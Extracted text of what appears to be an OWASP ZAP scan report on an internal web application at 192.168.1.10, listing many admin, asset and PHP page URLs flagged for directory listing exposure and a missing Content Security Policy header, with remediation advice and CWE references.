http://192.168.1.10/production/?C=N;O=D


Evidence Parent Directory

URL http://192.168.1.10/production/?C=S;O=A

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10/production/?C=S;O=D
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Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/
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Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/ADS/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/AS/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/AS/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10/production/?C=S;O=A
http://192.168.1.10/production/?C=S;O=D
http://192.168.1.10:80//admin/ADMIN/
http://192.168.1.10:80//admin/ADMIN/ADS/js/
http://192.168.1.10:80//admin/ADMIN/ADS/js/locales/
http://192.168.1.10:80//admin/ADMIN/AS/js/
http://192.168.1.10:80//admin/ADMIN/AS/js/locales/
http://192.168.1.10:80//admin/ADMIN/OOS/js/
http://192.168.1.10:80//admin/ADMIN/OOS/js/locales/
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/


URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/
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Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/products/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/assets/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/assets/css/

Method GET

Attack

Evidence Parent Directory

http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/js/locales/
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/js/locales/
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/products/
http://192.168.1.10:80//admin/ADMIN/SERVER/js/
http://192.168.1.10:80//admin/ADMIN/SERVER/js/locales/
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/js/locales/
http://192.168.1.10:80//admin/assets/
http://192.168.1.10:80//admin/assets/css/


URL http://192.168.1.10:80//admin/assets/css/locales/
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Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/assets/img/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/assets/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//admin/assets/js/google-code-prettify/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/

Method GET

Attack
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URL http://192.168.1.10:80//assets/bootstrap/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/bootstrap/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/bootstrap/fonts/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/bootstrap/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/img/

http://192.168.1.10:80//admin/assets/css/locales/
http://192.168.1.10:80//admin/assets/img/
http://192.168.1.10:80//admin/assets/js/
http://192.168.1.10:80//admin/assets/js/google-code-prettify/
http://192.168.1.10:80//assets/
http://192.168.1.10:80//assets/bootstrap/
http://192.168.1.10:80//assets/bootstrap/css/
http://192.168.1.10:80//assets/bootstrap/fonts/
http://192.168.1.10:80//assets/bootstrap/js/
http://192.168.1.10:80//assets/css/
http://192.168.1.10:80//assets/img/


Method GET
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URL http://192.168.1.10:80//assets/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//assets/js/google-code-prettify/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80//img/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/admin/assets/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/admin/include/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/assets/bootstrap/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/assets/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/assets/img/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/assets/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/assets/js//google-code-prettify/

Method GET

http://192.168.1.10:80//assets/js/
http://192.168.1.10:80//assets/js/google-code-prettify/
http://192.168.1.10:80//img/
http://192.168.1.10:80/admin/assets/
http://192.168.1.10:80/admin/include/
http://192.168.1.10:80/assets/bootstrap/
http://192.168.1.10:80/assets/css/
http://192.168.1.10:80/assets/img/
http://192.168.1.10:80/assets/js/
http://192.168.1.10:80/assets/js//google-code-prettify/


Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/bootstrap/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/bootstrap/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/bootstrap/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/css/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/fonts/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/js/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/js/customize.min.js

Method GET

Attack

Evidence Unterminated string constant

URL http://192.168.1.10:80/bootstrap/js/vendor/

Method GET

Attack

http://192.168.1.10:80/bootstrap/
http://192.168.1.10:80/bootstrap/bootstrap/
http://192.168.1.10:80/bootstrap/bootstrap/css/
http://192.168.1.10:80/bootstrap/bootstrap/js/
http://192.168.1.10:80/bootstrap/bootstrap/js/google-code-prettify/
http://192.168.1.10:80/bootstrap/css/
http://192.168.1.10:80/bootstrap/fonts/
http://192.168.1.10:80/bootstrap/js/
http://192.168.1.10:80/bootstrap/js/customize.min.js
http://192.168.1.10:80/bootstrap/js/vendor/


Evidence Parent Directory

URL http://192.168.1.10:80/bootstrap/js/vendor/uglify.min.js

Method GET

Attack

Evidence Unterminated string constant

URL http://192.168.1.10:80/database/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/icons/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/icons/small/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/include/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/pictures/

Method GET

Attack

Evidence Parent Directory

URL http://192.168.1.10:80/production/

Method GET

Attack

Evidence Parent Directory

Instances 625

Solution
Review the source code of this page. Implement custom error pages. Consider 
implementing a mechanism to provide a unique error reference/identifier to the client 
(browser) while logging the details on the server side and not exposing them to the user.

Reference

CWE Id 200

WASC Id 13

Plugin Id 90022

Medium Content Security Policy (CSP) Header Not Set

Description

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate 
certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. 
These attacks are used for everything from data theft to site defacement or distribution of 
malware. CSP provides a set of standard HTTP headers that allow website owners to 

http://192.168.1.10:80/bootstrap/js/vendor/uglify.min.js
http://192.168.1.10:80/database/
http://192.168.1.10:80/icons/
http://192.168.1.10:80/icons/small/
http://192.168.1.10:80/include/
http://192.168.1.10:80/pictures/
http://192.168.1.10:80/production/
https://cwe.mitre.org/data/definitions/200.html
https://www.zaproxy.org/docs/alerts/90022/


declare approved sources of content that browsers should be allowed to load on that page 
— covered types are JavaScript, CSS, HTML frames, fonts, images and embeddable 
objects such as Java applets, ActiveX, audio and video files.

URL http://192.168.1.10

Method GET

Attack

Evidence

URL http://192.168.1.10/

Method GET

Attack

Evidence

URL http://192.168.1.10/..

Method GET

Attack

Evidence

URL http://192.168.1.10/aboutus.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=M;O=D

Method GET

Attack

http://192.168.1.10
http://192.168.1.10/
http://192.168.1.10/..
http://192.168.1.10/aboutus.php
http://192.168.1.10/admin/
http://192.168.1.10/admin/ADMIN/
http://192.168.1.10/admin/ADMIN/?C=D;O=A
http://192.168.1.10/admin/ADMIN/?C=D;O=D
http://192.168.1.10/admin/ADMIN/?C=M;O=A
http://192.168.1.10/admin/ADMIN/?C=M;O=D


Evidence

URL http://192.168.1.10/admin/ADMIN/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/blog-post.html

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/?C=N;O=A
http://192.168.1.10/admin/ADMIN/?C=N;O=D
http://192.168.1.10/admin/ADMIN/?C=S;O=A
http://192.168.1.10/admin/ADMIN/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/
http://192.168.1.10/admin/ADMIN/ADS/announcement.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/blog-post.html
http://192.168.1.10/admin/ADMIN/ADS/css/


URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=D;O=D

http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=D;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=M;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=N;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/locales/
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=D;O=D


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/bootstrap-datetimepicker.pl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method GET

http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=M;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=M;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/ADS/css/locales/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/css/locales/bootstrap-datetimepicker.pl.js
http://192.168.1.10/admin/ADMIN/ADS/Customer_list.php
http://192.168.1.10/admin/ADMIN/ADS/Customers.php
http://192.168.1.10/admin/ADMIN/ADS/index.php


Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/

Method GET

Attack

http://192.168.1.10/admin/ADMIN/ADS/js/
http://192.168.1.10/admin/ADMIN/ADS/js/?C=D;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/?C=D;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/?C=M;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/?C=M;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/?C=N;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/?C=N;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/?C=S;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/locales/


Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/bootstrap-datetimepicker.pl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/messages.php

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=D;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=M;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=M;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/ADS/js/locales/?C=S;O=D
http://192.168.1.10/admin/ADMIN/ADS/js/locales/bootstrap-datetimepicker.pl.js
http://192.168.1.10/admin/ADMIN/ADS/messages.php


URL http://192.168.1.10/admin/ADMIN/ADS/messages_box.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/offcanvas.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/print_Customerlist.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

http://192.168.1.10/admin/ADMIN/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/ADS/offcanvas.js
http://192.168.1.10/admin/ADMIN/ADS/print_Customerlist.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/blog-post.html

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=D

http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/blog-post.html
http://192.168.1.10/admin/ADMIN/AS/css/
http://192.168.1.10/admin/ADMIN/AS/css/?C=D;O=A
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http://192.168.1.10/admin/ADMIN/AS/css/?C=M;O=D
http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=A
http://192.168.1.10/admin/ADMIN/AS/css/?C=N;O=D


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=S;O=A

Method GET

http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=A
http://192.168.1.10/admin/ADMIN/AS/css/?C=S;O=D
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/bootstrap-datetimepicker.pl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/js/?C=N;O=D

Method GET

Attack
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Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages.php

Method GET

Attack

Evidence
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Method GET
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Method GET
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Method GET
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Method GET
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Method GET
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URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirm_order.php

Method GET
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Method GET
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Evidence
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Attack

Evidence
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URL http://192.168.1.10:80//register.php

Method GET

Attack

Evidence

URL http://192.168.1.10:80/admin/assets/

Method GET

Attack

Evidence
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Attack
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URL http://192.168.1.10:80/assets/css/

Method GET

Attack

Evidence

URL http://192.168.1.10:80/assets/img/

Method GET

Attack

Evidence
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Evidence
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Method POST
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Method POST
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST

Attack

http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/asset.php
http://192.168.1.10/admin/ADMIN/AS/index.php
http://192.168.1.10/admin/ADMIN/AS/print_products.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2


Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/OOS/
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1


URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

http://192.168.1.10/admin/ADMIN/OOS/index.php
http://192.168.1.10/admin/ADMIN/OOS/print_orders.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php
http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php
http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php


Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence

